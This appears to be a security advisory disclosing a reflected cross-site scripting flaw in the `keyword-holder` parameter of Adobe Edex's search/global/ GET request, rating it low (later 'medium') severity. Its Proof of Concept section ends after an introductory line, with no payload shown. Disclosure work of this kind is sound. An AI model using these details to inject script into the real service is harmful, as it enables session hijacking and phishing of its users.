Discovery Status:
=================
Published


Affected Product(s):
====================
Adobe Systems
Product: Edex - Online Service (Web-Application) 2015 Q4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
Multiple client-side web vulnerabilities has been discovered in the official Adobe (Edex) online service web-application.

The vulnerability is located in the `keyword-holder` parameter value of the search/global/ module GET method request. 
Remote attackers are able to inject script codes to the client-side browser to application GET method requests. The attack 
vector of the issues are client-side and the request method to inject is GET. 

The security risk of the client-side web vulnerabilities are estimated as medium with a cvss (common vulnerability scoring 
system) count of 3.3. Exploitation of the non-persistent web vulnerabilities requires no privileged web application user 
account and low or medium  user interaction. Successful exploitation of the vulnerability results in session hijacking, 
non-persistent phishing, non-persistent external redirects, non-persistent load of malicious script codes or non-persistent 
web module context manipulation.

Request Method(s):
				[+] GET

Vulnerable Module(s):
				[+] Adobe - Edex

Vulnerable Section(s):
				[+] search/global/

Vulnerable Parameter(s):
				[+] keyword-holder (keyword)


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged web-application user account and with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
